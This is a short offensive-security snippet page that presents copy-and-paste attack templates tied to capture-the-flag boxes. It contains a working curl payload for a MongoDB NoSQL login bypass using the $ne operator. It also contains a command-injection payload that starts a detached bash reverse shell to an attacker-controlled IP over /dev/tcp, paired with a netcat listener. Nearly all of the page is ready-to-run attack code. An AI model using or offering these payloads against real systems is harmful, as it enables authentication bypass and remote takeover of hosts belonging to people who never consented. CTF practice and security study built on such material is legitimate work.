M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

$ grep -ri
all binary exploitation (2) cryptography (2) python (2) red team (4) web-exploitation (8) blue-team (1) forensics (1) foundation (1) privilege escalation (1)
// tool any checksec (1) curl (2) feroxbuster (1) ffuf (1) gobuster (1) hashcat (1) nc (1) nmap (1) pwntools (1) ssh (1)
2026-08-06 bash curl web-exploitation

NoSQL Auth Bypass ($ne Operator Injection)

Bypass a login backed by MongoDB/NeDB by sending a query operator instead of a password value — the check becomes "password not equal to null".

bash 
# JSON login that injects an operator into the password field.
# The backend runs db.findOne({ username, password }) — {"$ne": null} matches
# any stored password, so authentication succeeds without knowing it.
curl -s -X POST http://<target-ip>/login \
  -H "Content-Type: application/json" \
  -d '{"username":"<user>","password":{"$ne":null}}'

used in: Byte Lotus — Poolside (Boot2Root, Medium)

2026-08-06 bash curl web-exploitation

Command Injection → Detached Reverse Shell

OS command injection via an unsanitized parameter; setsid + input redirect detaches the reverse shell so it survives the HTTP response returning.

bash 
# listener on your box
nc -lvnp 4444

# inject after ';' — setsid + < /dev/null & detaches the shell from the request,
# so it keeps running once the HTTP handler returns
curl -s -X POST http://<target-ip>/internal/netcheck \
  --data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail